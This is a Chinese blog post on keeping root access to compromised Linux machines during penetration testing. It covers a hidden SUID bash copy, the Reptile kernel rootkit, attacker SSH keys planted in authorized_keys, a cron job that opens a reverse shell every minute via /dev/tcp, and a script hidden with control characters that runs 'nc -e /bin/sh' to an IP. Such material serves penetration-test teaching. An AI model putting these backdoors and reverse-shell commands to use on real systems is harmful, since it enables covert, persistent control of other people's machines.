linux实验总结及心得_安全实验室 | 内网渗透—Linux权限维持技巧总结

本文总结了Linux内网渗透中权限维持的几种常见方法,包括利用SUID权限创建root shell、部署内核级Rootkit、通过SSH公私钥登录以及滥用计划任务cron。详细讲解了每种方法的实施步骤和潜在风险。
摘要由CSDN通过智能技术生成

在上一篇文章中我们介绍了内网渗透中Windows环境下进行权限维持(点击阅读)的方式,本期我们将视角集中在Linux系统中继续对内网渗透中的权限维持方式进行探索。Linux也是在内网渗透中很常见的操作系统,但是其内部实现方式却与Windows有着本质的区别。我们在对Windows权限维持方式的基础上总结Linux系统的权限维持方式。

01 SUID后门

SUID是Set uid的简称,当一个文件的所属主的标识位是x,且所属主为root时,当执行该文件时,是以root身份执行的。所以如果攻击者创建一个满足上述条件的文件,并且使用该文件反弹一个bash的话,就会使一个普通用户得到一个root权限的shell。

创建文件时必须具备以下条件:

  • SUID权限只对二进制程序有效;

  • 执行者对于该程序需要具有x的可执行权限;

  • 本权限仅在执行该程序的过程中有效;

  • 在执行过程中执行者将具有该程序拥有者的权限;

首先使用root权限创建一个suid权限的隐藏文件,这个文件是/bin/bash的复制文件。

88ae46bdcf8d1699691f1aa0ead4ef8c.png

其次,使用普通用户登入系统,使用如下命令/var/.hack -p,执行该文件以获得一个root shell,执行后可以看到权限已经变成了root权限。

0b0f6a77d674ceb9eb40348e4e8341ef.png 02 Linux内核Rootkit后门

     
内核级Linux Rootkit的隐藏性通常要借助对Linux系统调用的截获来达到目的,并且难以查杀、难以清除,危害巨大。主要适用的目标版本如下:

  • Debian 9:4.9.0-8-amd64

  • Debian 10:4.19.0-8-amd64

  • Ubuntu 18.04.1 LTS:4.15.0-38-generic

  • Kali Linux:4.18.0-kali2-amd64

  • Centos 6.10:2.6.32- 754.6.3.el6.x86_64

  • Centos 7:3.10.0-862.3.2.el7.x86_64

  • Centos 8:4.18.0-147.5.1.el8_1.x86_64

项目地址为:

https://github.com/f0rb1dd3n/Reptile

03 SSH后门

SSH是Linux提供的一种远程登陆服务,SSH总共提供了两种登陆验证方式:一是账号密码登录,也是常用的登陆方式;二是公私钥登录,SSH允许验证登录者提供的私钥与自身公钥是否匹配,以确定是否允许该用户登录。具体验证方式如下:

ab573e96b4217cf989ea85120d43b3dc.png


首先攻击者在本地生成一份SSH登录的公私钥对,使用如下命令即可:

ssh-keygen -trsa。

9f5f853d682ef58919334ec26835d941.png


使用ssh-keygen生成两份文件,分别是id_rsa和id_rsa.pub前者是私钥文件,后者是公钥文件。使用某种方法,将攻击者生成的公钥文件id_rsa.pub上传进目标机~/.ssh/authorized_keys目录下即可。

c2901d4ee00e8d9456b1bba0f40c3ea8.png 8a79d766ecd5947925d4f3f66f21d63b.png


使用ssh直接登录目标机即可,无需账号密码。

841b43cdd5a1f0220f7e7e021771f9f3.png04 计划任务后门

与Windows一样,Linux也提供了计划任务程序,在Linux系统中计划任务一般是由cron承担。我们使用cron添加一个反弹shell的计划任务,以实现权限维持。

首先检查目标机是否开启了计划任务。

783a03d960242571545b547dc9d07adb.png

利用cron程序写入一个计划任务:’*/1 * * * * bash -I>& /dev/tcp// 0>&1’使其每一分钟向攻击者IP发弹一次shell。

560bc5ca4ee0c4e516ec725d64926dd9.png


在攻击机上监听相应的端口,过了一分钟即可接收到来自目标机的反弹shell,实现权限维持。

1a3adda8c15ed3c306a1ccd67b7e9a6b.png 05 Cat命令缺陷后门

Cat命令是Linux系统自带的指令,能够查看文件的具体内容。但是Cat指令却存在缺陷,cat默认是支持一些如\r回车符\n换行符\f换页符等特殊符号,这些符号可能导致一些内容被错误的解析,进而隐藏一些系统命令。

创建一个python文件,使其能够生成一个包含特殊符号的.sh文件,这个文件可以将恶意指令进行隐藏。

d2d3196142f4e6448a8bfab6e2cc369e.png


使用普通的cat指令查看这个.sh文件,发现恶意指令被隐藏。重新使用cat指令带上-A参数即可看到该文件的真实全部内容。可以查看到恶意指令:nc -e /bin/sh 192.168.210.37 9999。

7284b5942f18cfe808c7a0d70a1eb5c5.png

如果管理员没有仔细查看文件的具体内容就执行了该文件,攻击机则可以接到一个来自目标机的反弹shell。

b3e92501acd556739106415730ab94e9.png

36f1f8ad75ad17f31e81319b8a42d6d9.gif

59d6dde3957d74adb786ccf930554ad2.png
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值